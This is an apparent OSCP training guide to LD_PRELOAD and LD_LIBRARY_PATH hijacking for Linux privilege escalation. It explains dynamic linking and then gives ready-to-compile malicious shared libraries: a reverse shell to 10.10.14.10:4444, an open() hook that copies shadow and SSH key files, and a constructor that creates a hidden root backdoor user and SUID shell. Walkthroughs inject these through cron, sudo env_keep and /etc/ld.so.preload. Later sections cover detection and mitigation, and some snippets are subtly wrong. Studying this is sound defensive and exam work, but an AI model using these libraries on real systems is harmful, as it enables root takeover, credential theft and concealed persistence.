Domain 4PrivEsc & Password AttacksCORE

LD_PRELOAD Hijacking

Comprehensive guide to LD_PRELOAD hijacking for Linux privilege escalation, covering dynamic linking internals, malicious shared library creation, SUID binary exploitation, cron job attacks, and sudo environment preservation.

Domain: Domain 4: Privilege Escalation & Password Attacks•Updated: 2026-09-01
#ld-preload#dynamic-linking#suid#privesc#shared-libraries

LD_PRELOAD Hijacking

Understanding Dynamic Linking in Linux

What is Dynamic Linking?

Dynamic linking is the process by which executable programs link to shared libraries (.so files) at runtime rather than compile time. This allows code sharing between programs and reduces binary size.

The Dynamic Linker: ld.so

The dynamic linker (ld.so, typically /lib64/ld-linux-x86-64.so.2) is responsible for:

  1. Loading shared libraries required by an executable
  2. Resolving symbolic references between libraries
  3. Relocating code and data addresses
  4. Running constructor functions (.init, .ctors)
┌──────────────────────────────────────────────────────┐
│                  Program Execution                    │
│                                                       │
│  1. Kernel loads executable                           │
│  2. Kernel loads dynamic linker (ld.so)               │
│  3. ld.so reads ELF headers for library dependencies  │
│  4. ld.so loads libraries in order:                   │
│     a. Libraries from LD_PRELOAD (if allowed)         │
│     b. Libraries from LD_LIBRARY_PATH                 │
│     c. Libraries from /etc/ld.so.preload              │
│     d. Libraries from /etc/ld.so.conf.d/              │
│     e. Standard paths (/lib, /lib64, /usr/lib, etc.)  │
│  5. ld.so resolves symbols and relocates addresses    │
│  6. Constructor functions run (__attribute__((constructor))) │
│  7. Program's main() executes                         │
└──────────────────────────────────────────────────────┘

Shared Library Loading Order

Priority Source Description
1 DT_RPATH (embedded in binary) Runtime library path baked into ELF
2 LD_LIBRARY_PATH User-controlled environment variable
3 DT_RUNPATH (embedded in binary) Similar to RPATH but lower priority
4 /etc/ld.so.cache Cache built by ldconfig
5 /lib, /lib64, /usr/lib, /usr/lib64 Standard library paths

Note: LD_PRELOAD libraries are loaded before all of the above, giving them highest priority for symbol resolution.


LD_PRELOAD, LD_LIBRARY_PATH, LD_AUDIT Explained

LD_PRELOAD

LD_PRELOAD is an environment variable that specifies one or more shared libraries to be loaded before all other libraries (including libc).

# Syntax
export LD_PRELOAD=/path/to/library.so

# Multiple libraries (colon-separated)
export LD_PRELOAD=/path/to/lib1.so:/path/to/lib2.so

# Apply to single command
LD_PRELOAD=/path/to/lib.so /path/to/target_program

Why LD_PRELOAD is powerful for privesc:

  1. Libraries in LD_PRELOAD are loaded first
  2. Their symbols take precedence over all other libraries
  3. You can override standard library functions (open, getuid, setuid, etc.)
  4. Constructor functions run before main() — perfect for code injection

LD_LIBRARY_PATH

LD_LIBRARY_PATH specifies additional directories to search for shared libraries:

# Syntax
export LD_LIBRARY_PATH=/path/to/libs:/another/path

# Used when:
# - A program needs a library not in standard paths
# - Development/testing with custom library versions

Privesc relevance: If a program depends on a custom library and LD_LIBRARY_PATH is set, you can provide a malicious version of that library.

LD_AUDIT

LD_AUDIT specifies audit libraries that can intercept and monitor library loading:

# Syntax
export LD_AUDIT=/path/to/audit.so

# Audit libraries can:
# - Monitor symbol resolution
# - Log library loading events
# - Intercept function calls

Privesc relevance: Less commonly exploited but can be used for advanced interception techniques.

Other LD_ Variables

Variable Purpose Privesc Relevance
LD_PRELOAD Preload libraries HIGH - Function interception
LD_LIBRARY_PATH Library search path HIGH - Library substitution
LD_AUDIT Audit libraries Medium - Monitoring/interception
LD_DEBUG Debug output Low - Information gathering
LD_BIND_NOW Force immediate binding Medium - Bypass lazy binding
LD_TRACE_LOADED_OBJECTS Trace library loading Low - Enumeration
LD_USE_LOAD_BINDING Use load-time binding Low

When LD_PRELOAD Can Be Used for Privesc

Condition 1: SUID Binaries (Without Environment Clearing)

Default behavior: SUID binaries clear LD_PRELOAD and other LD_* variables for security.

# Check if a SUID binary clears environment
cat > /tmp/test.c << 'EOF'
#include <stdio.h>
int main() {
    printf("LD_PRELOAD = %s\n", getenv("LD_PRELOAD"));
    return 0;
}
EOF

gcc -o /tmp/test /tmp/test.c
chmod u+s /tmp/test

LD_PRELOAD=/tmp/evil.so /tmp/test
# LD_PRELOAD = (empty) ← Cleared by kernel for SUID binaries

When it works:

  • SUID binary explicitly calls setreuid() or setresuid() (not compiled with SUID)
  • SUID binary is actually a script (SUID is ignored on scripts, but wrapper may not clear env)
  • SUID binary uses setuid() to drop privileges and then calls other programs

Condition 2: Cron Jobs (Very Common in OSCP)

This is the most common LD_PRELOAD privesc scenario in OSCP.

Cron jobs run as specific users (often root). If you can inject LD_PRELOAD into the cron job’s environment, your library loads when the cron job executes.

# How cron jobs can be exploited:
# 1. Cron job sources a file you control
# 2. Cron job runs a script that inherits your environment
# 3. Cron environment file is world-writable
# 4. The binary called by cron doesn't clear LD_PRELOAD

Condition 3: Sudo with env_keep

If sudoers configuration preserves LD_PRELOAD:

sudo -l
# Defaults env_keep += "LD_PRELOAD"

# This means LD_PRELOAD survives the sudo transition
sudo LD_PRELOAD=/tmp/evil.so /path/to/command

Condition 4: Services with LD_PRELOAD in Configuration

Some services allow environment variable configuration:

# Check systemd service files
cat /etc/systemd/system/custom-service.service
# [Service]
# Environment="LD_PRELOAD=/opt/libs/custom.so"

# Check Upstart/Init scripts
cat /etc/init/custom-service.conf

# Check supervisor configuration
cat /etc/supervisor/conf.d/custom-service.conf

Condition 5: /etc/ld.so.preload

This file is read by the dynamic linker and preloads specified libraries for all programs:

# Check if file exists and is writable
ls -la /etc/ld.so.preload
cat /etc/ld.so.preload

# If writable, add your library
echo "/tmp/evil.so" >> /etc/ld.so.preload

# Every program that starts will load your library!

Writing Malicious Shared Libraries

Technique 1: Override setuid/setgid for Shell Spawning

This is the most common LD_PRELOAD privesc technique. By intercepting setuid() or setgid(), you can force the process to run as root.

Malicious Library: Shell Spawn on setuid

// libhijack.c - Override setuid to spawn a root shell

#include <stdio.h>
#include <stdlib.h>
#include <sys/types.h>
#include <unistd.h>
#include <pwd.h>
#include <dlfcn.h>

// Function pointer for the real setuid
typedef int (*orig_setuid_t)(uid_t);

// Constructor function - runs when library is loaded
void __attribute__((constructor)) init() {
    // Hide our tracks
    unsetenv("LD_PRELOAD");

    // Set UID/GID to root
    setuid(0);
    setgid(0);

    // Spawn a shell
    char *args[] = {"/bin/sh", "-i", NULL};
    execve("/bin/sh", args, NULL);
}

// Override setuid to prevent privilege restoration
int setuid(uid_t uid) {
    // Always return success but keep us as root
    return 0;
}

Malicious Library: Shell Spawn on execve

// libexecve.c - Override execve to spawn shell before real execution

#include <stdio.h>
#include <stdlib.h>
#include <sys/types.h>
#include <unistd.h>
#include <dlfcn.h>

typedef int (*orig_execve_t)(const char *pathname, char *const argv[], char *const envp[]);

int execve(const char *pathname, char *const argv[], char *const envp[]) {
    // Get function pointer to real execve
    orig_execve_t real_execve = (orig_execve_t)dlsym(RTLD_NEXT, "execve");

    // Spawn a shell first
    if (fork() == 0) {
        // Child process: spawn shell
        setuid(0);
        setgid(0);
        char *args[] = {"/bin/sh", "-i", NULL};
        execve("/bin/sh", args, NULL);
    }

    // Parent process: continue with original execution
    return real_execve(pathname, argv, envp);
}

Malicious Library: Reverse Shell on Library Load

// libreverse.c - Spawn reverse shell when library is loaded

#include <stdio.h>
#include <stdlib.h>
#include <sys/types.h>
#include <unistd.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>

void __attribute__((constructor)) init() {
    // Hide our tracks
    unsetenv("LD_PRELOAD");

    // Drop privileges to target, then escalate
    setuid(0);
    setgid(0);

    // Create reverse shell
    int sock = socket(AF_INET, SOCK_STREAM, 0);
    struct sockaddr_in addr;
    addr.sin_family = AF_INET;
    addr.sin_port = htons(4444);
    addr.sin_addr.s_addr = inet_addr("10.10.14.10");

    connect(sock, (struct sockaddr *)&addr, sizeof(addr));

    // Duplicate file descriptors
    dup2(sock, 0);
    dup2(sock, 1);
    dup2(sock, 2);

    // Execute shell
    char *args[] = {"/bin/sh", "-i", NULL};
    execve("/bin/sh", args, NULL);
}

Technique 2: Override open() for Credential Theft

Intercept open() to capture sensitive file access:

// libopen.c - Intercept open() calls to steal credentials

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <fcntl.h>
#include <dlfcn.h>
#include <unistd.h>

typedef int (*orig_open_t)(const char *pathname, int flags, ...);

int open(const char *pathname, int flags, ...) {
    // Get function pointer to real open
    orig_open_t real_open = (orig_open_t)dlsym(RTLD_NEXT, "open");

    // Log the open call
    FILE *log = fopen("/tmp/.open_log", "a");
    if (log) {
        fprintf(log, "open(\"%s\", %d)\n", pathname, flags);
        fclose(log);
    }

    // If opening a sensitive file, capture contents
    if (strstr(pathname, "shadow") || strstr(pathname, "password") ||
        strstr(pathname, ".ssh/") || strstr(pathname, "id_rsa")) {

        // Open the file normally first
        int fd = real_open(pathname, flags);

        if (fd >= 0) {
            // Read and log the contents
            char buffer[4096];
            ssize_t bytes = read(fd, buffer, sizeof(buffer) - 1);
            if (bytes > 0) {
                buffer[bytes] = '\0';
                FILE *steal = fopen("/tmp/.stolen_data", "a");
                if (steal) {
                    fprintf(steal, "=== %s ===\n%s\n", pathname, buffer);
                    fclose(steal);
                }
            }

            // Seek back to beginning for the real process
            lseek(fd, 0, SEEK_SET);
        }

        return fd;
    }

    // Normal open for other files
    return real_open(pathname, flags);
}

Technique 3: Override getuid() for Privilege Confusion

// libgetuid.c - Make process think it's already root

#include <sys/types.h>
#include <dlfcn.h>

typedef uid_t (*orig_getuid_t)(void);

uid_t getuid(void) {
    // Always return 0 (root)
    return 0;
}

uid_t geteuid(void) {
    // Always return 0 (root)
    return 0;
}

Technique 4: Comprehensive Privesc Library

// libprivesc.c - Comprehensive privilege escalation library

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/types.h>
#include <unistd.h>
#include <dlfcn.h>
#include <fcntl.h>

// Function pointers for original functions
typedef int (*orig_setuid_t)(uid_t);
typedef int (*orig_setgid_t)(gid_t);
typedef int (*orig_open_t)(const char *, int, ...);

// Constructor: runs when library is loaded
void __attribute__((constructor)) init() {
    FILE *fp;

    // Hide LD_PRELOAD
    unsetenv("LD_PRELOAD");

    // Ensure we're root
    setuid(0);
    setgid(0);

    // Method 1: Spawn interactive shell
    // (comment out if you want to use other methods)
    // system("/bin/bash -p");

    // Method 2: Add backdoor user
    system("useradd -o -u 0 -g 0 -M -d /root -s /bin/bash .backdoor 2>/dev/null");
    system("echo '.backdoor:backdoor123' | chpasswd 2>/dev/null");

    // Method 3: Copy SSH key to root
    system("mkdir -p /root/.ssh 2>/dev/null");
    system("cp /home/*/.ssh/authorized_keys /root/.ssh/ 2>/dev/null");
    system("chmod 700 /root/.ssh 2>/dev/null");
    system("chmod 600 /root/.ssh/authorized_keys 2>/dev/null");

    // Method 4: Create SUID shell
    system("cp /bin/bash /tmp/.rootshell 2>/dev/null");
    system("chmod +s /tmp/.rootshell 2>/dev/null");

    // Method 5: Log what we did
    fp = fopen("/tmp/.privesc_log", "w");
    if (fp) {
        fprintf(fp, "Privilege escalation attempted!\n");
        fprintf(fp, "Backdoor user: .backdoor:backdoor123\n");
        fprintf(fp, "SUID shell: /tmp/.rootshell\n");
        fclose(fp);
    }
}

// Override setuid to always succeed and stay root
int setuid(uid_t uid) {
    return 0;
}

// Override setgid to always succeed and stay root
int setgid(gid_t gid) {
    return 0;
}

Compilation Guide

Basic Compilation

# Compile shared library
gcc -shared -fPIC -o libhijack.so libhijack.c

# Flags explained:
# -shared    : Create a shared library (position-independent)
# -fPIC      : Generate position-independent code (required for shared libs)
# -o lib.so  : Output file name

# If you need to link against other libraries
gcc -shared -fPIC -o libhijack.so libhijack.c -ldl

# For 32-bit systems
gcc -m32 -shared -fPIC -o libhijack.so libhijack.c

# Static compilation (no dynamic dependencies)
gcc -static -shared -fPIC -o libhijack.so libhijack.c

Cross-Compilation for Different Architectures

# Check target architecture
uname -m
# x86_64 or aarch64

# Compile for ARM (if needed)
aarch64-linux-gnu-gcc -shared -fPIC -o libhijack.so libhijack.c

# Compile for 32-bit x86
gcc -m32 -shared -fPIC -o libhijack.so libhijack.c

Verifying the Shared Library

# Check library dependencies
ldd libhijack.so

# Check exported symbols
nm -D libhijack.so

# Check if constructor is present
readelf -d libhijack.so | grep INIT

# Test load the library
LD_PRELOAD=./libhijack.so /bin/echo test

Full Exploitation Walkthroughs

Walkthrough 1: SUID Binary (Non-Clearing)

Scenario

A SUID binary exists that doesn’t properly clear environment variables (e.g., it’s a wrapper script or uses setuid() to drop privileges).

# Step 1: Find SUID binaries
find / -perm -4000 -type f 2>/dev/null

# Found: /opt/app/runservice
# -rwsr-xr-x 1 root root 16384 Jun 10 10:00 /opt/app/runservice

# Step 2: Check if it clears LD_PRELOAD
cat > /tmp/check.c << 'EOF'
#include <stdio.h>
#include <stdlib.h>
int main() {
    if (getenv("LD_PRELOAD")) {
        printf("LD_PRELOAD is SET: %s\n", getenv("LD_PRELOAD"));
    } else {
        printf("LD_PRELOAD is NOT set\n");
    }
    return 0;
}
EOF

gcc -o /tmp/check /tmp/check.c

# Step 3: Create malicious library
cat > /tmp/evil.c << 'EOF'
#include <stdio.h>
#include <stdlib.h>
#include <sys/types.h>
#include <unistd.h>

void __attribute__((constructor)) init() {
    unsetenv("LD_PRELOAD");
    setuid(0);
    setgid(0);
    system("/bin/bash -p");
}
EOF

gcc -shared -fPIC -o /tmp/evil.so /tmp/evil.c

# Step 4: Exploit
LD_PRELOAD=/tmp/evil.so /opt/app/runservice

# If LD_PRELOAD is preserved, you get a root shell
whoami
# root

Walkthrough 2: Cron Job (Most Common OSCP Scenario)

Scenario

A cron job runs as root and calls a binary that doesn’t clear LD_PRELOAD. You can inject LD_PRELOAD into the cron job’s environment.

# Step 1: Find the cron job
cat /etc/cron.d/app_maintenance
# */5 * * * * root /opt/app/maintenance.sh

cat /opt/app/maintenance.sh
#!/bin/bash
# Maintenance script
cd /var/www/app
python3 manage.py cleanup
/opt/app/backup_data.sh

# Step 2: Find injection point
# Option A: The script sources an environment file
# Option B: You can modify the cron entry
# Option C: The script runs a binary vulnerable to LD_PRELOAD

# Step 3: Create malicious library
cat > /tmp/privesc.c << 'EOF'
#include <stdio.h>
#include <stdlib.h>
#include <sys/types.h>
#include <unistd.h>

void __attribute__((constructor)) init() {
    unsetenv("LD_PRELOAD");
    setuid(0);
    setgid(0);

    // Spawn reverse shell
    int sock = socket(AF_INET, SOCK_STREAM, 0);
    struct sockaddr_in addr;
    addr.sin_family = AF_INET;
    addr.sin_port = htons(4444);
    addr.sin_addr.s_addr = inet_addr("10.10.14.10");
    connect(sock, (struct sockaddr *)&addr, sizeof(addr));
    dup2(sock, 0); dup2(sock, 1); dup2(sock, 2);
    char *args[] = {"/bin/sh", "-i", NULL};
    execve("/bin/sh", args, NULL);
}
EOF

gcc -shared -fPIC -o /tmp/privesc.so /tmp/privesc.c

# Step 4: Inject LD_PRELOAD into cron environment

# Method A: Modify cron entry (if writable)
echo '*/5 * * * * root LD_PRELOAD=/tmp/privesc.so /opt/app/maintenance.sh' >> /etc/cron.d/app_maintenance

# Method B: Create/modify environment file sourced by cron
echo 'LD_PRELOAD=/tmp/privesc.so' >> /opt/app/env.conf

# Method C: Use /etc/environment (if writable)
echo 'LD_PRELOAD=/tmp/privesc.so' >> /etc/environment

# Method D: Modify the script itself (if writable)
echo 'export LD_PRELOAD=/tmp/privesc.so' >> /opt/app/maintenance.sh

# Step 5: Set up listener
nc -lvnp 4444

# Step 6: Wait for cron to execute (max 5 minutes)
# You receive a root shell!

Alternative: Cron with World-Writable Script

# If the cron script itself is world-writable:
ls -la /opt/app/maintenance.sh
# -rwxrwxrwx 1 root root 1024 Jun 10 10:00 /opt/app/maintenance.sh

# Simply add LD_PRELOAD at the top:
echo '#!/bin/bash' > /tmp/maintenance.sh
echo 'export LD_PRELOAD=/tmp/privesc.so' >> /tmp/maintenance.sh
cat /opt/app/maintenance.sh >> /tmp/maintenance.sh
cp /tmp/maintenance.sh /opt/app/maintenance.sh
chmod +x /opt/app/maintenance.sh

Walkthrough 3: Sudo with env_keep

Scenario

Sudo is configured to preserve LD_PRELOAD in the environment.

# Step 1: Check sudo permissions
sudo -l

# Output:
# Matching Defaults entries for user on target:
#     env_reset, mail_badpass,
#     secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin,
#     env_keep += "LD_PRELOAD"

# User user may run the following commands on target:
#     (root) NOPASSWD: /opt/app/generate_report

# Step 2: Create malicious library
cat > /tmp/sudo_privesc.c << 'EOF'
#include <stdio.h>
#include <stdlib.h>
#include <sys/types.h>
#include <unistd.h>

void __attribute__((constructor)) init() {
    // Hide our tracks
    unsetenv("LD_PRELOAD");

    // Escalate to root
    setuid(0);
    setgid(0);

    // Spawn interactive root shell
    char *args[] = {"/bin/bash", "-p", NULL};
    execve("/bin/bash", args, NULL);
}

// Override setuid to prevent dropping privileges
int setuid(uid_t uid) {
    return 0;
}
EOF

gcc -shared -fPIC -o /tmp/sudo_privesc.so /tmp/sudo_privesc.c

# Step 3: Exploit
sudo LD_PRELOAD=/tmp/sudo_privesc.so /opt/app/generate_report

# You get a root shell
whoami
# root

# Step 4: Verify and capture proof
id
hostname
cat /root/root.txt

Walkthrough 4: /etc/ld.so.preload

Scenario

/etc/ld.so.preload is world-writable.

# Step 1: Check file permissions
ls -la /etc/ld.so.preload
# -rw-rw-rw- 1 root root 0 Jun 10 10:00 /etc/ld.so.preload

# Step 2: Create malicious library (same as before)
cat > /tmp/global_privesc.c << 'EOF'
#include <stdio.h>
#include <stdlib.h>
#include <sys/types.h>
#include <unistd.h>
#include <string.h>

void __attribute__((constructor)) init() {
    // Only escalate for specific users/processes
    // to avoid detection
    if (getuid() != 0) {
        setuid(0);
        setgid(0);

        // Create backdoor
        system("echo 'root:backdoor123' | chpasswd 2>/dev/null");
        system("cp /bin/bash /tmp/.suid_shell 2>/dev/null");
        system("chmod +s /tmp/.suid_shell 2>/dev/null");
    }
}
EOF

gcc -shared -fPIC -o /tmp/global_privesc.so /tmp/global_privesc.c

# Step 3: Install the library
cp /tmp/global_privesc.so /tmp/libglobal.so
echo "/tmp/libglobal.so" > /etc/ld.so.preload

# Step 4: Trigger by running any program
# The library loads for ALL programs started after this point
ls  # This triggers the library load

# Step 5: Use the backdoor
/tmp/.suid_shell -p
whoami
# root

When LD_PRELOAD is Cleared

Default SUID Binary Behavior

By default, the Linux kernel clears LD_PRELOAD and other LD_* environment variables when executing SUID/SGID binaries:

┌─────────────────────────────────────────────────┐
│           SUID Binary Execution                  │
│                                                  │
│  User Process (LD_PRELOAD=/tmp/evil.so)          │
│       ↓                                           │
│  execve() with SUID bit set                       │
│       ↓                                           │
│  Kernel detects SUID/SGID                         │
│       ↓                                           │
│  Kernel CLEARS:                                   │
│    - LD_PRELOAD                                   │
│    - LD_LIBRARY_PATH                              │
│    - LD_AUDIT                                     │
│    - All LD_* variables                           │
│       ↓                                           │
│  SUID Binary runs with clean environment          │
│  (LD_PRELOAD is NOT loaded)                       │
└─────────────────────────────────────────────────┘

Bypassing LD_PRELOAD Clearing

Method Description Reliability
Cron jobs Cron doesn’t set SUID; LD_PRELOAD survives High
Sudo env_keep sudoers preserves LD_PRELOAD High
/etc/ld.so.preload Kernel-level preload, not cleared High
World-writable SUID Modify the binary/script directly High
SUID wrapper script Script doesn’t clear env before exec Medium
LD_LIBRARY_PATH Alternative to LD_PRELOAD Medium
RPATH in binary Embedded library path in ELF Low

SUID Script vs SUID Binary

# SUID on scripts is IGNORED by modern Linux
# But a SUID binary that CALLS a script inherits no SUID
# However, the script may not clear LD_PRELOAD

# Example vulnerable pattern:
# /opt/app/wrapper (SUID binary)
#   ↓ calls
# /opt/app/script.sh (regular script, no env clearing)
#   ↓ uses
# LD_PRELOAD is still effective!

LD_LIBRARY_PATH Hijacking

How It Works

If a program depends on a custom shared library and searches for it using LD_LIBRARY_PATH, you can provide a malicious version:

# Step 1: Identify the library dependency
ldd /opt/app/vulnerable_binary
# linux-vdso.so.1 (0x00007ffd...)
# libcustom.so => not found
# libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6

# Step 2: Create malicious library with same name
cat > /tmp/libcustom.c << 'EOF'
#include <stdio.h>
#include <stdlib.h>
#include <sys/types.h>
#include <unistd.h>

void __attribute__((constructor)) init() {
    setuid(0);
    setgid(0);
    system("/bin/bash -p");
}

// Provide expected functions to avoid crashes
void custom_function() {
    // Empty implementation
}
EOF

gcc -shared -fPIC -o /tmp/libcustom.so /tmp/libcustom.c

# Step 3: Set LD_LIBRARY_PATH to point to your directory
export LD_LIBRARY_PATH=/tmp

# Step 4: Run the vulnerable binary
/opt/app/vulnerable_binary

# Your malicious libcustom.so is loaded instead of the real one

LD_LIBRARY_PATH vs LD_PRELOAD

Aspect LD_PRELOAD LD_LIBRARY_PATH
Purpose Preload libraries before all others Add directories to library search path
Symbol priority Highest (loaded first) Depends on search order
Use case Override standard library functions Replace specific libraries
Cleared by SUID Yes Yes
Reliability Higher (works with any binary) Lower (needs matching library name)

Detection

Checking for LD_PRELOAD in Environment

# Check current environment
env | grep -iE "LD_PRELOAD|LD_LIBRARY|LD_AUDIT"

# Check all processes
for pid in /proc/[0-9]*/; do
    if grep -q "LD_PRELOAD" "${pid}environ" 2>/dev/null; then
        echo "Found LD_PRELOAD in PID: ${pid}"
        cat "${pid}environ" 2>/dev/null | tr '\0' '\n' | grep LD_
    fi
done

# Check /etc/ld.so.preload
cat /etc/ld.so.preload 2>/dev/null

# Check for suspicious shared libraries
find /tmp /var/tmp /dev/shm -name "*.so" -type f 2>/dev/null

# Check for world-writable ld.so.preload
ls -la /etc/ld.so.preload

# Audit sudo configuration for env_keep
sudo -l 2>&1 | grep -i "env_keep"

Monitoring for LD_PRELOAD Abuse

# Audit rule for LD_PRELOAD usage
auditctl -a always,exit -F arch=b64 -S execve -F env=LD_PRELOAD -k ld_preload_exec

# Monitor /etc/ld.so.preload modifications
auditctl -w /etc/ld.so.preload -p wa -k ld_so_preload_mod

# Check for suspicious shared libraries in non-standard locations
find / -name "*.so" -newer /etc/hostname -type f 2>/dev/null | \
    grep -vE "/usr/lib|/lib/|/opt/"

Mitigation

Securing Against LD_PRELOAD Attacks

Mitigation Description Implementation
Remove SUID bit Don’t use SUID when not needed chmod u-s /path/to/binary
Secure sudoers Don’t preserve LD_* variables Defaults !env_keep += "LD_*"
Protect ld.so.preload Restrict file permissions chmod 644 /etc/ld.so.preload
Use capabilities Replace SUID with fine-grained caps setcap cap_net_bind_service+ep /app
Read-only filesystems Prevent library injection Mount /tmp with noexec
Seccomp profiles Restrict system calls Apply seccomp to sensitive processes
AppArmor/SELinux Mandatory access control Restrict library loading paths
Secure cron scripts Use absolute paths, minimal env Set PATH explicitly in cron

Secure sudoers Configuration

# /etc/sudoers.d/secure_ld
# Don't preserve LD_* variables
Defaults !env_keep += "LD_PRELOAD LD_LIBRARY_PATH LD_AUDIT LD_BIND_NOW"

# Reset environment
Defaults env_reset

# Set secure PATH
Defaults secure_path="/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin"

Secure Cron Job Configuration

# /etc/cron.d/secure_app
# Set minimal, explicit environment
SHELL=/bin/bash
PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin

# Don't source external environment files
# Use absolute paths for all commands
*/5 * * * * root /opt/app/maintenance.sh

# In maintenance.sh:
#!/bin/bash
# Clear dangerous environment variables
unset LD_PRELOAD LD_LIBRARY_PATH LD_AUDIT
export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin

# Use absolute paths
/usr/bin/python3 /opt/app/manage.py cleanup
/usr/local/bin/backup_data

OSCP Exam Tips

LD_PRELOAD is a Powerful Technique for Cron-Based Privesc

  1. Always check for cron jobs that run as root:

    cat /etc/crontab
    ls -la /etc/cron.d/
    ls -la /etc/cron.daily/
  2. Check sudo -l for env_keep:

    sudo -l 2>&1 | grep -iE "env_keep|LD_PRELOAD"
  3. Check /etc/ld.so.preload:

    ls -la /etc/ld.so.preload
    cat /etc/ld.so.preload
  4. Common OSCP LD_PRELOAD scenarios:

    • Cron job runs binary as root → inject LD_PRELOAD via writable env file
    • Sudo with env_keep += "LD_PRELOAD" → direct exploitation
    • /etc/ld.so.preload is world-writable → global library injection
    • Service configuration allows environment injection
  5. Quick exploitation template:

    # 1. Create library
    cat > /tmp/privesc.c << 'EOF'
    #include <stdio.h>
    #include <sys/types.h>
    #include <unistd.h>
    void __attribute__((constructor)) init() {
        unsetenv("LD_PRELOAD");
        setuid(0); setgid(0);
        system("/bin/bash -p");
    }
    EOF
    
    # 2. Compile
    gcc -shared -fPIC -o /tmp/privesc.so /tmp/privesc.c
    
    # 3. Exploit (method depends on scenario)
    sudo LD_PRELOAD=/tmp/privesc.so /path/to/command
    # OR inject into cron environment
    # OR write to /etc/ld.so.preload
  6. If gcc is not available, use pre-compiled libraries or Python ctypes:

    # Python alternative using ctypes
    import ctypes, os
    os.setuid(0)
    os.system('/bin/bash -p')
  7. Remember: LD_PRELOAD is cleared for SUID binaries by default. Focus on cron jobs, sudo env_keep, and /etc/ld.so.preload.

Quick LD_PRELOAD Checklist

[ ] Check: sudo -l | grep env_keep
[ ] Check: ls -la /etc/ld.so.preload
[ ] Check: env | grep LD_
[ ] Check cron jobs for injection points
[ ] Check for world-writable environment files
[ ] Check service configurations for env injection
[ ] Try: sudo LD_PRELOAD=/tmp/evil.so <command>
[ ] Try: echo "/tmp/evil.so" > /etc/ld.so.preload
[ ] After exploit: whoami, id, cat /root/root.txt

Reference Table: LD_PRELOAD Attack Vectors

Vector Check Command Exploit Method OSCP Frequency
Sudo env_keep sudo -l | grep LD_PRELOAD sudo LD_PRELOAD=... cmd High
/etc/ld.so.preload ls -la /etc/ld.so.preload Write library path Medium
Cron job env Check cron scripts Inject into env file Very High
Service config Check systemd/init Modify Environment= Medium
SUID binary find / -perm -4000 Rarely works (cleared) Low
LD_LIBRARY_PATH ldd /path/to/binary Replace dependency Medium